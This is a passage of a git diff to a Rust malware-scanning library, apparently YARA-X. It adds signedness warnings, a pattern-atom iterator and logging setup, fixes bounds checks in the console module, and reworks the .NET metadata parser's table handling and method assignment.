warning[unsigned_unary_op]: `-` applied to an unsigned integer +/// --> line:1:25 +/// | +/// 1 | rule test { condition: -uint64(0) == 1 } +/// | --------- this is an unsigned integer +/// | +/// = note: the result is a signed integer, which wraps around if the unsigned value is greater than 0x7FFFFFFFFFFFFFFF +/// ``` +#[derive(ErrorStruct, Debug, PartialEq, Eq)] +#[associated_enum(Warning)] +#[warning( + code = "unsigned_unary_op", + title = "`{operator}` applied to an unsigned integer" +)] +#[label("this is an unsigned integer", operand_loc)] +#[footer(note)] +pub struct UnsignedUnaryOperation { + report: Report, + operator: String, + operand_loc: CodeLoc, + note: Option, +} + +/// An integer constant changes its value because it is implicitly converted +/// from signed to unsigned, or vice versa. +/// +/// When signed and unsigned integers are mixed, signed integers are converted +/// to unsigned, and negative values wrap around. This changes the result of +/// divisions and remainders like `uint64(0) % -3`, and the values taken by +/// the loop variable in tuples like `(0xFFFFFFFFFFFFFFFF, -5)`. Similarly, +/// unsigned integers greater than `0x7FFFFFFFFFFFFFFF` become negative when +/// they are passed to a function that expects a signed integer. +/// +/// ## Example +/// +/// ```text +/// warning[sign_conversion]: implicit conversion changes signedness +/// --> line:1:36 +/// | +/// 1 | rule test { condition: uint64(0) % -3 == 2 } +/// | -- this is converted to 18446744073709551613 +/// | +/// = note: signed integers are converted to unsigned when mixed with unsigned integers +/// ``` +#[derive(ErrorStruct, Debug, PartialEq, Eq)] +#[associated_enum(Warning)] +#[warning( + code = "sign_conversion", + title = "implicit conversion changes signedness" +)] +#[label("this is converted to {converted_value}", value_loc)] +#[footer(note)] +pub struct SignConversion { + report: Report, + converted_value: String, + value_loc: CodeLoc, + note: Option, +} diff --git a/lib/src/lib.rs b/lib/src/lib.rs index a463d0ee8..45ee7e7d0 100644 --- a/lib/src/lib.rs +++ b/lib/src/lib.rs @@ -53,6 +53,10 @@ pub use compiler::Rules; pub use compiler::RulesIter; pub use compiler::SourceCode; pub use compiler::compile; +#[doc(hidden)] +pub use models::Atom; +#[doc(hidden)] +pub use models::Atoms; pub use models::Match; pub use models::Matches; pub use models::MetaValue; @@ -180,3 +184,33 @@ pub unsafe fn finalize() { wasm::free_engine(); } } + +#[cfg(feature = "stderr-logs")] +/// Initializes the `env_logger` backend for logging output to stdout/stderr. +/// +/// This function is called automatically when creating a [`Compiler`] or +/// [`Scanner`] if the `stderr-logs` feature is enabled. It uses +/// `env_logger::try_init()`, which reads the `YRX_LOG` environment variable +/// and safely ignores initialization if a logger was already registered. +pub(crate) fn init_logger() { + static INIT_LOGGER: std::sync::Once = std::sync::Once::new(); + INIT_LOGGER.call_once(|| { + let mut builder = env_logger::Builder::from_env("YRX_LOG"); + + for noisy_module in [ + "cranelift_codegen", + "cranelift_frontend", + "wasmtime", + "wasmtime_internal_cranelift", + "walrus", + ] { + builder.filter_module(noisy_module, log::LevelFilter::Info); + } + + let _ = builder.try_init(); + }); +} + +#[cfg(not(feature = "stderr-logs"))] +#[inline] +pub(crate) fn init_logger() {} diff --git a/lib/src/models.rs b/lib/src/models.rs index b1440925b..a94ba96e2 100644 --- a/lib/src/models.rs +++ b/lib/src/models.rs @@ -5,7 +5,9 @@ use bstr::{BStr, ByteSlice}; use serde::ser::SerializeStruct; use serde::{Deserialize, Serialize, Serializer}; -use crate::compiler::{IdentId, PatternId, PatternInfo, RuleInfo}; +use crate::compiler::{ + IdentId, PatternId, PatternInfo, RuleInfo, SubPatternAtom, +}; use crate::scanner::{ScanContext, ScanState}; use crate::{Rules, compiler, scanner}; @@ -202,12 +204,12 @@ impl<'r> Iterator for Metadata<'_, 'r> { compiler::MetaValue::Integer(i) => MetaValue::Integer(*i), compiler::MetaValue::Float(f) => MetaValue::Float(*f), compiler::MetaValue::String(id) => { - let s = self.rules.lit_pool().get(*id).unwrap(); + let s = self.rules.literal_pool().get(*id).unwrap(); let s = s.to_str().unwrap(); MetaValue::String(s) } compiler::MetaValue::Bytes(id) => { - MetaValue::Bytes(self.rules.lit_pool().get(*id).unwrap()) + MetaValue::Bytes(self.rules.literal_pool().get(*id).unwrap()) } }; @@ -387,6 +389,31 @@ impl<'a, 'r> Pattern<'a, 'r> { }), } } + + /// Returns an iterator over the atoms extracted from this pattern. + #[doc(hidden)] + pub fn atoms(&self) -> Atoms<'r> { + let atoms = self.rules.atoms.as_slice(); + + // During rule compilation, patterns are processed sequentially, and + // atoms are appended to `Rules::atoms` in increasing order of + // `PatternId`. Because `Rules::atoms` is sorted by `PatternId`, we can + // use binary search (`partition_point`) to locate the slice of atoms + // belonging to this pattern in O(log N) time. + // + // `start` is the index of the first atom whose PatternId is >= self.pattern_id. + let start = atoms.partition_point(|atom| { + self.rules.get_sub_pattern(atom.sub_pattern_id()).0 + < self.pattern_id + }); + // `end` is the index of the first atom whose PatternId is > self.pattern_id. + let end = atoms.partition_point(|atom| { + self.rules.get_sub_pattern(atom.sub_pattern_id()).0 + <= self.pattern_id + }); + + Atoms { iterator: atoms[start..end].iter() } + } } impl<'a, 'r> Serialize for Pattern<'a, 'r> { @@ -485,3 +512,113 @@ impl<'a, 'r> Serialize for Match<'a, 'r> { s.end() } } + +/// Iterator that returns the atoms extracted from a pattern. +#[doc(hidden)] +pub struct Atoms<'r> { + iterator: Iter<'r, SubPatternAtom>, +} + +impl<'r> Iterator for Atoms<'r> { + type Item = Atom<'r>; + + #[inline] + fn next(&mut self) -> Option { + self.iterator.next().map(|atom| Atom { inner: atom }) + } + + #[inline] + fn size_hint(&self) -> (usize, Option) { + self.iterator.size_hint() + } +} + +impl ExactSizeIterator for Atoms<'_> { + #[inline] + fn len(&self) -> usize { + self.iterator.len() + } +} + +impl DoubleEndedIterator for Atoms<'_> { + #[inline] + fn next_back(&mut self) -> Option { + self.iterator.next_back().map(|atom| Atom { inner: atom }) + } +} + +/// Represents an atom extracted from a pattern. +#[doc(hidden)] +#[derive(Clone, Copy)] +pub struct Atom<'r> { + inner: &'r SubPatternAtom, +} + +impl<'r> Atom<'r> { + /// Returns the atom as a byte slice. + #[inline] + pub fn as_slice(&self) -> &'r [u8] { + self.inner.as_slice() + } +} + +impl AsRef<[u8]> for Atom<'_> { + #[inline] + fn as_ref(&self) -> &[u8] { + self.as_slice() + } +} + +impl std::ops::Deref for Atom<'_> { + type Target = [u8]; + + #[inline] + fn deref(&self) -> &Self::Target { + self.as_slice() + } +} + +impl PartialEq for Atom<'_> { + #[inline] + fn eq(&self, other: &Self) -> bool { + self.as_slice() == other.as_slice() + } +} + +impl Eq for Atom<'_> {} + +impl PartialOrd for Atom<'_> { + #[inline] + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +impl Ord for Atom<'_> { + #[inline] + fn cmp(&self, other: &Self) -> std::cmp::Ordering { + self.as_slice().cmp(other.as_slice()) + } +} + +impl std::hash::Hash for Atom<'_> { + #[inline] + fn hash(&self, state: &mut H) { + self.as_slice().hash(state); + } +} + +impl std::fmt::Debug for Atom<'_> { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "Atom({:02X?})", self.as_slice()) + } +} + +impl Serialize for Atom<'_> { + fn serialize(&self, serializer: S) -> Result + where + S: Serializer, + { + serializer.serialize_bytes(self.as_slice()) + } +} diff --git a/lib/src/modules/console.rs b/lib/src/modules/console.rs index 7e07399d1..62e331e1e 100644 --- a/lib/src/modules/console.rs +++ b/lib/src/modules/console.rs @@ -67,9 +67,10 @@ fn get_data<'a>( offset: i64, length: i64, ) -> Option> { - ctx.scanned_data()? - .get(offset as usize..(offset + length) as usize) - .map(escape) + let start = usize::try_from(offset).ok()?; + let len = usize::try_from(length).ok()?; + let end = start.checked_add(len)?; + ctx.scanned_data()?.get(start..end).map(escape) } #[module_export(name = "log")] @@ -183,7 +184,11 @@ mod tests { console.hex(10) and console.hex("qux: ", 255) and console.log("hello ", "world!") and - console.log(0, 4) + console.log(0, 4) and + console.log(1, 0x7fffffffffffffff) and + console.log("msg: ", 1, 0x7fffffffffffffff) and + console.log(-1, 2) and + console.log(0, -1) } "#, ) diff --git a/lib/src/modules/crx/mod.rs b/lib/src/modules/crx/mod.rs index 56c67ede0..290933b1c 100644 --- a/lib/src/modules/crx/mod.rs +++ b/lib/src/modules/crx/mod.rs @@ -57,7 +57,7 @@ fn permhash(ctx: &ScanContext) -> Option>> { sha256_hash.update(permission.as_bytes()); } - let digest = format!("{:x}", sha256_hash.finalize()); + let digest = hex::encode(sha256_hash.finalize()); PERMHASH_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); diff --git a/lib/src/modules/dex/mod.rs b/lib/src/modules/dex/mod.rs index 2876aadb1..77d044555 100644 --- a/lib/src/modules/dex/mod.rs +++ b/lib/src/modules/dex/mod.rs @@ -100,7 +100,7 @@ fn signature(ctx: &mut ScanContext) -> Option>> { let mut hasher = Sha1::new(); hasher.update(data); - let digest = format!("{:x}", hasher.finalize()); + let digest = hex::encode(hasher.finalize()); SIGNATURE_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); diff --git a/lib/src/modules/dotnet/parser.rs b/lib/src/modules/dotnet/parser.rs index 7feaaf7a5..d05ffa784 100644 --- a/lib/src/modules/dotnet/parser.rs +++ b/lib/src/modules/dotnet/parser.rs @@ -7,13 +7,12 @@ use std::str::from_utf8; use bits::complete::tag as bits_tag; use bits::complete::take as bits_take; -use itertools::Itertools; use nom::branch::alt; use nom::bytes::complete::{take, take_till}; use nom::combinator::{cond, map, map_opt, map_parser, map_res, verify}; -use nom::multi::{count, length_count, length_data, many0, many_m_n}; +use nom::multi::{count, length_count, length_data, many_m_n, many0}; use nom::number::complete::{le_u16, le_u32, le_u64, u8}; -use nom::{bits, IResult, Parser}; +use nom::{IResult, Parser, bits}; use num_derive::FromPrimitive; use num_traits; use protobuf::MessageField; @@ -211,10 +210,9 @@ impl<'a> Dotnet<'a> { .and_then(|index| dotnet.get_stream(index)) .map(|tilde_stream| dotnet.parse_tilde_stream(tilde_stream)); - dotnet.field_offsets = dotnet - .field_rvas - .iter() - .filter_map(|rva| pe.rva_to_offset(*rva)) + dotnet.field_offsets = std::mem::take(&mut dotnet.field_rvas) + .into_iter() + .filter_map(|rva| pe.rva_to_offset(rva)) .collect(); Ok(dotnet) @@ -244,11 +242,7 @@ impl<'a> Dotnet<'a> { pub fn get_string_constants(&self) -> impl Iterator { self.constants.iter().filter_map(|c| { - if c.type_ == Type::String { - c.value - } else { - None - } + if c.type_ == Type::String { c.value } else { None } }) } @@ -296,7 +290,7 @@ impl<'a> Dotnet<'a> { self.num_rows[table as usize] } - fn get_type_ref(&self, index: &CodedIndex) -> Option<&TypeRef<'_>> { + fn get_type_ref(&self, index: &CodedIndex) -> Option<&TypeRef<'a>> { if index.table != Table::TypeRef { return None; } @@ -472,13 +466,7 @@ impl<'a> Dotnet<'a> { for i in 0..64 { if valid & (1 << i) != 0 { - // Limit the number of rows per table to a reasonable number - // of MAX_ROWS_PER_TABLE. - let num_rows = min( - num_rows_per_present_table.next().unwrap(), - Self::MAX_ROWS_PER_TABLE, - ); - self.num_rows.push(num_rows); + self.num_rows.push(num_rows_per_present_table.next().unwrap()); } else { self.num_rows.push(0) } @@ -498,239 +486,303 @@ impl<'a> Dotnet<'a> { // have a variable length, and we can't skip them without some amount // of parsing. - (remainder, self.modules) = - count(self.parse_module_row(), self.num_rows(Table::Module)) - .parse(remainder)?; + (remainder, self.modules) = self + .parse_table(self.parse_module_row(), Table::Module)( + remainder + )?; - (remainder, self.type_refs) = - count(self.parse_type_ref_row(), self.num_rows(Table::TypeRef)) - .parse(remainder)?; + (remainder, self.type_refs) = self + .parse_table(self.parse_type_ref_row(), Table::TypeRef)( + remainder, + )?; - (remainder, self.type_defs) = - count(self.parse_type_def_row(), self.num_rows(Table::TypeDef)) - .parse(remainder)?; + (remainder, self.type_defs) = self + .parse_table(self.parse_type_def_row(), Table::TypeDef)( + remainder, + )?; - (remainder, _) = count( - self.table_index(Table::Field), - self.num_rows(Table::FieldPtr), - ) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.table_index(Table::Field), Table::FieldPtr)( + remainder, + )?; (remainder, _) = - count(self.parse_field_row(), self.num_rows(Table::Field)) - .parse(remainder)?; + self.skip_table(self.parse_field_row(), Table::Field)(remainder)?; - (remainder, _) = count( + (remainder, _) = self.skip_table( self.table_index(Table::MethodDef), - self.num_rows(Table::MethodDefPtr), - ) - .parse(remainder)?; + Table::MethodDefPtr, + )(remainder)?; - (remainder, self.method_defs) = count( - self.parse_method_def_row(), - self.num_rows(Table::MethodDef), - ) - .parse(remainder)?; + (remainder, self.method_defs) = self + .parse_table(self.parse_method_def_row(), Table::MethodDef)( + remainder, + )?; - (remainder, _) = count( - self.table_index(Table::Param), - self.num_rows(Table::ParamPtr), - ) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.table_index(Table::Param), Table::ParamPtr)( + remainder, + )?; (remainder, self.params) = - count(self.parse_param_row(), self.num_rows(Table::Param)) - .parse(remainder)?; + self.parse_table(self.parse_param_row(), Table::Param)(remainder)?; - (remainder, self.interface_impls) = count( + (remainder, self.interface_impls) = self.parse_table( self.parse_interface_impl_row(), - self.num_rows(Table::InterfaceImpl), - ) - .parse(remainder)?; + Table::InterfaceImpl, + )(remainder)?; - (remainder, self.member_refs) = count( - self.parse_member_ref_row(), - self.num_rows(Table::MemberRef), - ) - .parse(remainder)?; + (remainder, self.member_refs) = self + .parse_table(self.parse_member_ref_row(), Table::MemberRef)( + remainder, + )?; - (remainder, self.constants) = - count(self.parse_constant_row(), self.num_rows(Table::Constant)) - .parse(remainder)?; + (remainder, self.constants) = self + .parse_table(self.parse_constant_row(), Table::Constant)( + remainder, + )?; - (remainder, self.custom_attributes) = count( + (remainder, self.custom_attributes) = self.parse_table( self.parse_custom_attribute_row(), - self.num_rows(Table::CustomAttribute), - ) - .parse(remainder)?; - - (remainder, _) = count( - self.parse_field_marshal_row(), - self.num_rows(Table::FieldMarshal), - ) - .parse(remainder)?; - - (remainder, _) = count( - self.parse_decl_security_row(), - self.num_rows(Table::DeclSecurity), - ) - .parse(remainder)?; - - (remainder, _) = count( - self.parse_class_layout_row(), - self.num_rows(Table::ClassLayout), - ) - .parse(remainder)?; - - (remainder, _) = count( - self.parse_field_layout_row(), - self.num_rows(Table::FieldLayout), - ) - .parse(remainder)?; + Table::CustomAttribute, + )(remainder)?; + + (remainder, _) = self + .skip_table(self.parse_field_marshal_row(), Table::FieldMarshal)( + remainder, + )?; + + (remainder, _) = self + .skip_table(self.parse_decl_security_row(), Table::DeclSecurity)( + remainder, + )?; + + (remainder, _) = self + .skip_table(self.parse_class_layout_row(), Table::ClassLayout)( + remainder, + )?; + + (remainder, _) = self + .skip_table(self.parse_field_layout_row(), Table::FieldLayout)( + remainder, + )?; + + (remainder, _) = self + .skip_table(self.blob_index(), Table::StandaloneSig)( + remainder + )?; + + (remainder, _) = self + .skip_table(self.parse_event_map_row(), Table::EventMap)( + remainder, + )?; + + (remainder, _) = self + .skip_table(self.table_index(Table::Event), Table::EventPtr)( + remainder, + )?; (remainder, _) = - count(self.blob_index(), self.num_rows(Table::StandaloneSig)) - .parse(remainder)?; - - (remainder, _) = - count(self.parse_event_map_row(), self.num_rows(Table::EventMap)) - .parse(remainder)?; - - (remainder, _) = count( - self.table_index(Table::Event), - self.num_rows(Table::EventPtr), - ) - .parse(remainder)?; + self.skip_table(self.parse_event_row(), Table::Event)(remainder)?; - (remainder, _) = - count(self.parse_event_row(), self.num_rows(Table::Event)) - .parse(remainder)?; - - (remainder, _) = count( - self.parse_property_map_row(), - self.num_rows(Table::PropertyMap), - ) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.parse_property_map_row(), Table::PropertyMap)( + remainder, + )?; - (remainder, _) = count( + (remainder, _) = self.skip_table( self.table_index(Table::Property), - self.num_rows(Table::PropertyPtr), - ) - .parse(remainder)?; + Table::PropertyPtr, + )(remainder)?; - (remainder, _) = - count(self.parse_property_row(), self.num_rows(Table::Property)) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.parse_property_row(), Table::Property)( + remainder, + )?; - (remainder, _) = count( + (remainder, _) = self.skip_table( self.parse_method_semantics_row(), - self.num_rows(Table::MethodSemantics), - ) - .parse(remainder)?; + Table::MethodSemantics, + )(remainder)?; - (remainder, _) = count( - self.parse_method_impl_row(), - self.num_rows(Table::MethodImpl), - ) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.parse_method_impl_row(), Table::MethodImpl)( + remainder, + )?; - (remainder, self.module_refs) = count( + (remainder, self.module_refs) = self.parse_table( map(self.string_index(), |index| self.get_string(index)), - self.num_rows(Table::ModuleRef), - ) - .parse(remainder)?; + Table::ModuleRef, + )(remainder)?; (remainder, self.type_specs) = - count(self.blob_index(), self.num_rows(Table::TypeSpec)) - .parse(remainder)?; + self.parse_table(self.blob_index(), Table::TypeSpec)(remainder)?; - (remainder, _) = - count(self.parse_impl_map_row(), self.num_rows(Table::ImplMap)) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.parse_impl_map_row(), Table::ImplMap)( + remainder, + )?; - (remainder, self.field_rvas) = - count(self.parse_field_rva_row(), self.num_rows(Table::FieldRva)) - .parse(remainder)?; + (remainder, self.field_rvas) = self + .parse_table(self.parse_field_rva_row(), Table::FieldRva)( + remainder, + )?; - (remainder, _) = count(take(8_usize), self.num_rows(Table::EncLog)) - .parse(remainder)?; + (remainder, _) = + self.skip_table(take(8_usize), Table::EncLog)(remainder)?; - (remainder, _) = count(take(4_usize), self.num_rows(Table::EncMap)) - .parse(remainder)?; + (remainder, _) = + self.skip_table(take(4_usize), Table::EncMap)(remainder)?; - (remainder, self.assemblies) = - count(self.parse_assembly_row(), self.num_rows(Table::Assembly)) - .parse(remainder)?; + (remainder, self.assemblies) = self + .parse_table(self.parse_assembly_row(), Table::Assembly)( + remainder, + )?; - (remainder, _) = - count(take(4_usize), self.num_rows(Table::AssemblyProcessor)) - .parse(remainder)?; + (remainder, _) = self + .skip_table(take(4_usize), Table::AssemblyProcessor)( + remainder + )?; (remainder, _) = - count(take(12_usize), self.num_rows(Table::AssemblyOs)) - .parse(remainder)?; + self.skip_table(take(12_usize), Table::AssemblyOs)(remainder)?; - (remainder, self.assembly_refs) = count( - self.parse_assembly_ref_row(), - self.num_rows(Table::AssemblyRef), - ) - .parse(remainder)?; + (remainder, self.assembly_refs) = self + .parse_table(self.parse_assembly_ref_row(), Table::AssemblyRef)( + remainder, + )?; - (remainder, _) = count( + (remainder, _) = self.skip_table( self.parse_assembly_ref_processor_row(), - self.num_rows(Table::AssemblyRefProcessor), - ) - .parse(remainder)?; + Table::AssemblyRefProcessor, + )(remainder)?; - (remainder, _) = count( + (remainder, _) = self.skip_table( self.parse_assembly_ref_os_row(), - self.num_rows(Table::AssemblyRefOs), - ) - .parse(remainder)?; + Table::AssemblyRefOs, + )(remainder)?; (remainder, _) = - count(self.parse_file_row(), self.num_rows(Table::File)) - .parse(remainder)?; + self.skip_table(self.parse_file_row(), Table::File)(remainder)?; - (remainder, _) = count( - self.parse_exported_type_row(), - self.num_rows(Table::ExportedType), - ) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.parse_exported_type_row(), Table::ExportedType)( + remainder, + )?; - (remainder, self.resources) = count( + (remainder, self.resources) = self.parse_table( self.parse_manifest_resource_row(), - self.num_rows(Table::ManifestResource), - ) - .parse(remainder)?; + Table::ManifestResource, + )(remainder)?; - (remainder, self.nested_classes) = count( - self.parse_nested_class_row(), - self.num_rows(Table::NestedClass), - ) - .parse(remainder)?; + (remainder, self.nested_classes) = self + .parse_table(self.parse_nested_class_row(), Table::NestedClass)( + remainder, + )?; - (remainder, self.generic_params) = count( - self.parse_generic_param_row(), - self.num_rows(Table::GenericParam), - ) - .parse(remainder)?; + (remainder, self.generic_params) = self + .parse_table(self.parse_generic_param_row(), Table::GenericParam)( + remainder, + )?; - (remainder, _) = count( - self.parse_method_spec_row(), - self.num_rows(Table::MethodSpec), - ) - .parse(remainder)?; + (remainder, _) = self + .skip_table(self.parse_method_spec_row(), Table::MethodSpec)( + remainder, + )?; - (remainder, _) = count( + (remainder, _) = self.skip_table( self.parse_generic_param_constraint_row(), - self.num_rows(Table::GenericParamConstraint), - ) - .parse(remainder)?; + Table::GenericParamConstraint, + )(remainder)?; Ok((remainder, ())) } + /// Parses the rows of `table` using `row_parser`. + /// + /// To prevent excessive memory usage or long parsing times on large or + /// corrupted files, at most [`Self::MAX_ROWS_PER_TABLE`] rows are parsed + /// and returned. However, `self.num_rows` preserves the actual number of + /// rows declared in the `#~` header so that: + /// + /// 1. Table and coded index sizes (16-bit vs 32-bit) are computed + /// correctly according to ECMA-335 II.24.2.6. + /// 2. Any remaining rows beyond [`Self::MAX_ROWS_PER_TABLE`] can be + /// skipped in the input slice, keeping subsequent tables in the `#~` + /// stream properly aligned. + fn parse_table<'b, O, P>( + &'b self, + mut row_parser: P, + table: Table, + ) -> impl FnMut(&'a [u8]) -> IResult<&'a [u8], Vec> + 'b + where + P: Parser<&'a [u8], Output = O, Error = NomError<'a>> + 'b, + { + move |input: &'a [u8]| { + let num_rows = self.num_rows(table); + let rows_to_parse = min(num_rows, Self::MAX_ROWS_PER_TABLE); + + let (remainder, rows) = + count(|i| row_parser.parse(i), rows_to_parse).parse(input)?; + + // All rows in a given metadata table have the exact same byte + // size. If the table has more than `MAX_ROWS_PER_TABLE` rows, + // compute the row size from the `MAX_ROWS_PER_TABLE` rows just + // parsed and skip the remaining rows so the next table starts at + // the right offset. + let remainder = if let Some(extra_rows) = + num_rows.checked_sub(Self::MAX_ROWS_PER_TABLE) + && extra_rows > 0 + { + let row_size = + (input.len() - remainder.len()) / Self::MAX_ROWS_PER_TABLE; + let bytes_to_skip = extra_rows.saturating_mul(row_size); + let (remainder, _) = take(bytes_to_skip)(remainder)?; + remainder + } else { + remainder + }; + + Ok((remainder, rows)) + } + } + + /// Like [`Self::parse_table`], but discards parsed rows without allocating + /// a [`Vec`]. + fn skip_table<'b, O, P>( + &'b self, + mut row_parser: P, + table: Table, + ) -> impl FnMut(&'a [u8]) -> IResult<&'a [u8], ()> + 'b + where + P: Parser<&'a [u8], Output = O, Error = NomError<'a>> + 'b, + { + move |input: &'a [u8]| { + let num_rows = self.num_rows(table); + let rows_to_parse = min(num_rows, Self::MAX_ROWS_PER_TABLE); + + let mut remainder = input; + for _ in 0..rows_to_parse { + (remainder, _) = row_parser.parse(remainder)?; + } + + let remainder = if let Some(extra_rows) = + num_rows.checked_sub(Self::MAX_ROWS_PER_TABLE) + && extra_rows > 0 + { + let row_size = + (input.len() - remainder.len()) / Self::MAX_ROWS_PER_TABLE; + let bytes_to_skip = extra_rows.saturating_mul(row_size); + let (remainder, _) = take(bytes_to_skip)(remainder)?; + remainder + } else { + remainder + }; + + Ok((remainder, ())) + } + } + /// Parses the `#US` stream, and returns all the string contained /// in it. fn parse_user_strings(&self) -> Vec<&'a [u8]> { @@ -798,102 +850,135 @@ impl<'a> Dotnet<'a> { } fn parse_user_types(&self) -> Vec> { - let mut classes = Vec::new(); - for (idx, type_def) in self.type_defs.iter().enumerate() { - // Skip type definitions with invalid (empty) names, and the - // "" pseudo-class. - if type_def.name.is_none_or(|name| name == "") { - continue; - } + self.iter_user_types().collect() + } - let generic_class_params: Vec<_> = self - .generic_params - .iter() - .filter_map(|param| { - if param.owner.table == Table::TypeDef - && param.owner.index == idx - { - param.name + fn iter_user_types(&self) -> impl Iterator> + '_ { + let mut highest_method_list = 0; + + self.type_defs + .iter() + .enumerate() + .filter_map(move |(idx, type_def)| { + // Skip type definitions with invalid (empty) names, and the + // "" pseudo-class. + if type_def.name.is_none_or(|name| name == "") { + return None; + } + + let generic_class_params: Vec<_> = self + .generic_params + .iter() + .filter_map(|param| { + if param.owner.table == Table::TypeDef + && param.owner.index == idx + { + param.name + } else { + None + } + }) + .collect(); + + // The methods belonging to this type in the MethodDef table go + // from the index specified by `method_list` to the index specified + // by the next type's `method_list`. If this is the last type, then + // it goes to the end of the MethodDef table. + // + // According to ECMA-335 II.22.37, `method_list` should be + // monotonically non-decreasing across the TypeDef table, with + // types that have no methods repeating the `method_list` of the + // following type. However, some tools (such as Unity/IL2CPP + // linkers and dumpers) set `method_list` to 1 (0-based 0) for + // every type that has no methods. One example of this is file: + // ef1c257f1dc7e21a0df2221965c42f72a4097010e1f8be00018866acdaf088ec + // + // If `type_def.method_list` is less than `highest_method_list`, + // it is out of order (e.g. reset to 0) and the type has no + // methods. Otherwise, we look for the next type with a + // `method_list >= type_def.method_list` so that intermediate + // types with `method_list == 0` do not truncate the current + // type's method list or cause methods from index 0 to be + // repeatedly re-assigned to multiple types. + let method_defs = + if type_def.method_list >= highest_method_list { + if let Some(next_type_def) = self.type_defs[idx + 1..] + .iter() + .find(|t| t.method_list >= type_def.method_list) + { + highest_method_list = next_type_def.method_list; + self.method_defs.get( + type_def.method_list..next_type_def.method_list, + ) + } else { + highest_method_list = usize::MAX; + self.method_defs.get(type_def.method_list..) + } } else { None - } - }) - .collect(); - - // The methods belonging to this type in the MethodDef table go - // from the index specified by `method_list` to the index specified - // by the next type's `method_list`. If this is the last type, then - // it goes to the end of the MethodDef table. - let method_defs = - if let Some(next_type_def) = self.type_defs.get(idx + 1) { - self.method_defs - .get(type_def.method_list..next_type_def.method_list) - } else { - self.method_defs.get(type_def.method_list..) - }; + }; - let methods = if let Some(method_defs) = method_defs { - method_defs - .iter() - .enumerate() - .filter_map(|(idx, method_def)| { - self.convert_method_def( - type_def.method_list + idx, + let methods = if let Some(method_defs) = method_defs { + let mut methods = Vec::with_capacity(method_defs.len()); + for (m_idx, method_def) in method_defs.iter().enumerate() { + if let Some(m) = self.convert_method_def( + type_def.method_list + m_idx, method_def, generic_class_params.as_slice(), - ) - }) - .collect() - } else { - vec![] - }; + ) { + methods.push(m); + } + } + methods + } else { + vec![] + }; - // `base_types` will contain the names of the classes the current - // class inherits from. - let mut base_types = Vec::new(); - let mut depth = 0; + // `base_types` will contain the names of the classes the current + // class inherits from. + let mut base_types = Vec::new(); + let mut depth = 0; - // If the current class extends some other class, add the full name - // of this other class to `base_types`. - if let Some(name) = self.type_def_or_ref_fullname( - &type_def.extends, - &mut depth, - generic_class_params.as_slice(), - &[], - ) { - base_types.push(name) - } + // If the current class extends some other class, add the full name + // of this other class to `base_types`. + if let Some(name) = self.type_def_or_ref_fullname( + &type_def.extends, + &mut depth, + generic_class_params.as_slice(), + &[], + ) { + base_types.push(name) + } - // For every interface implemented by the current class, add its - // full name to `base_types`. - base_types.extend(self.interface_impls.iter().filter_map( - |interface_impl| { - if interface_impl.class == idx { - depth = 0; - self.type_def_or_ref_fullname( - &interface_impl.interface, - &mut depth, - generic_class_params.as_slice(), - &[], - ) - } else { - None - } - }, - )); - - classes.push(Class { - full_name: self.type_full_name(idx), - base_types, - visibility: type_def.visibility(), - semantics: type_def.class_semantics(), - is_abstract: type_def.is_abstract(), - is_sealed: type_def.is_sealed(), - methods, - generic_params: generic_class_params, - }); - } - classes + // For every interface implemented by the current class, add its + // full name to `base_types`. + base_types.extend(self.interface_impls.iter().filter_map( + |interface_impl| { + if interface_impl.class == idx { + depth = 0; + self.type_def_or_ref_fullname( + &interface_impl.interface, + &mut depth, + generic_class_params.as_slice(), + &[], + ) + } else { + None + } + }, + )); + + Some(Class { + full_name: self.type_full_name(idx), + base_types, + visibility: type_def.visibility(), + semantics: type_def.class_semantics(), + is_abstract: type_def.is_abstract(), + is_sealed: type_def.is_sealed(), + methods, + generic_params: generic_class_params, + }) + }) } fn convert_method_def( @@ -902,6 +987,8 @@ impl<'a> Dotnet<'a> { method_def: &MethodDef<'a>, generic_class_params: &[&'a str], ) -> Option> { + let method_name = method_def.name?; + let (remainder, flags) = u8::<&[u8], nom::error::Error<&'a [u8]>>(method_def.signature?) .ok()?; @@ -943,7 +1030,16 @@ impl<'a> Dotnet<'a> { ) .ok()?; - let mut method_params = Vec::new(); + // Return type for constructors is always set to None, which YARA sees + // as undefined, for FileInfo compatibility. + let return_type = if matches!(method_name, ".ctor" | ".cctor") { + None + } else { + Some(return_type) + }; + + let mut method_params = + Vec::with_capacity(min(param_count as usize, remainder.len())); for i in 0..param_count { // Try to find the param in the Param table. Params for the current @@ -973,17 +1069,8 @@ impl<'a> Dotnet<'a> { method_params.push(MethodParam { name, type_: Some(param_type) }) } - // Return type for constructors is always set to None, which is YARA sees - // as undefined, for FileInfo compatibility. - let return_type = - if matches!(method_def.name, Some(".ctor") | Some(".cctor")) { - None - } else { - Some(return_type) - }; - Some(Method { - name: method_def.name?, + name: method_name, generic_params: generic_method_params, params: method_params, return_type, @@ -995,27 +1082,51 @@ impl<'a> Dotnet<'a> { }) } - /// Given an index into the TypeDef table, returns its full name. + /// Given an index into the TypeDef table, writes its full name into + /// `output`. /// /// When the type is not nested the full name is simply `namespace.name`, /// when the type is a nested one, the full name includes the name of /// its parent type as well. - fn type_full_name(&self, type_def_idx: usize) -> Option { + fn write_type_full_name( + &self, + type_def_idx: usize, + output: &mut String, + ) -> Option<()> { + let first_type_def = self.type_defs.get(type_def_idx)?; + if !first_type_def.is_nested() { + let name = first_type_def.plain_name()?; + if let Some(namespace) = first_type_def.namespace { + output.reserve(namespace.len() + 1 + name.len()); + output.push_str(namespace); + output.push('.'); + output.push_str(name); + } else { + output.push_str(name); + } + return Some(()); + } + let mut next_idx = Some(type_def_idx); - let mut result = Vec::new(); + let mut parts = [""; Self::MAX_RECURSION]; + let mut len = 0; while let Some(idx) = next_idx.take() { let type_def = self.type_defs.get(idx)?; // Protect against corrupted files. - if result.len() >= Self::MAX_RECURSION { + if len >= Self::MAX_RECURSION { return None; } - result.push(type_def.plain_name()?); + 